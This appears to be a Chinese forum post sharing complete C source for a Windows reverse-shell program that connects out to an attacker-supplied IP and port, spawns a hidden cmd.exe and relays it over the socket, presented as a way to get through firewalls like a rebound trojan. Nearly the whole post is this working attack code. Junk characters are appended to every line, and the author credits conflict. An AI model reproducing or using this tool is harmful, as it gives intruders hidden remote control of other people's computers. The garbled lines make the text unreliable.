这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T?7ZF+yo6
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/* ============================== 94|BSxc
Rebound port in Windows NT n&[U/`o
By wind,2006/7 -_pI:K[
===============================*/ yNY1g?E
#include 0R*
#include jB?Tua$,s
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#pragma comment(lib,"wsock32.lib") c+|,2e
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void OutputShell(); >48zRi\N
SOCKET sClient; I#S6k%-'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0Km{fZYq7;
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void main(int argc,char **argv) Ql\{^s+
{ K-_e' )22.
WSADATA stWsaData; RpS'Tz}
int nRet; ,1F3";`n[
SOCKADDR_IN stSaiClient,stSaiServer; O&\;BF5:R
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if(argc != 3) cy/;qd+!M
{ &Cdk%@Tj]B
printf("Useage:\n\rRebound DestIP DestPort\n"); ~c3!,C
return;
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} yHk/8
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WSAStartup(MAKEWORD(2,2),&stWsaData); 81H04L9K 7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -Vt*(L
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stSaiClient.sin_family = AF_INET; =1yU&
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stSaiClient.sin_port = htons(0); +&-/$\"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nvsuF)%9hZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nY}Ep\g
{ i v&:X3iB
printf("Bind Socket Failed!\n"); Gv6EJV1i
return; ],&WA?>G
} hq$:62NYg
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stSaiServer.sin_family = AF_INET; qeSxE`E"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Uq0RJ<n
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JyYg)f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [D?RL`ZF
{ )iluu1,o
printf("Connect Error!"); *)U=ZO6S
return; SG;]Vr
} z)yxz:E
OutputShell(); @+:S'mAQC
} vXRfsv y
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void OutputShell() x>;!`}x
{ )1Os+0az
char szBuff[1024]; zpiqJEf|'"
SECURITY_ATTRIBUTES stSecurityAttributes; "M6:)h9jV
OSVERSIONINFO stOsversionInfo; 4vW:xK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !YsLx[+
STARTUPINFO stStartupInfo; O,]t. 1V
char *szShell; \qi=Us|=
PROCESS_INFORMATION stProcessInformation; xv9SQ,n<
unsigned long lBytesRead; XNf%vC>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6}n>Nb;L"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a@lvn/b2
stSecurityAttributes.lpSecurityDescriptor = 0; tlQ3BKp
stSecurityAttributes.bInheritHandle = TRUE; 4 )*8&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iAbtv^fn
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mz3!HksZ"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X'IW&^kI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'kL>F&|
stStartupInfo.wShowWindow = SW_HIDE; {Z3B#,V(g
stStartupInfo.hStdInput = hReadPipe; 9L]x9lI;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uf^"Y3
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GetVersionEx(&stOsversionInfo); FG38) /
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switch(stOsversionInfo.dwPlatformId) 4[9~g=y>
{ uqnoE;57^
case 1: IFH%R>={
szShell = "command.com"; |k{?\ (h;
break; q4|TwRx~
default: 0:@:cz=#*
szShell = "cmd.exe"; .&TJSIx$
break; $A9!} `V
} q!$?G]-%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c&e?_@}|
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send(sClient,szMsg,77,0); ~ 61O
while(1) N9r02c
{ kZBIXW,G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =oV8!d%]
if(lBytesRead) iL)q':xz
{ z0t6}E<VIR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nG1mx/w
send(sClient,szBuff,lBytesRead,0); UsNr$MO
{
} d>M&jSCL
else ;m,lS_[c
{ MP-A^QT
lBytesRead=recv(sClient,szBuff,1024,0); Yi1_oe
if(lBytesRead<=0) break; @AvXBMq|
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xYtY}?!"
} & G@(f=
} 'sn%+oN
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return; 3o%JJIn&
}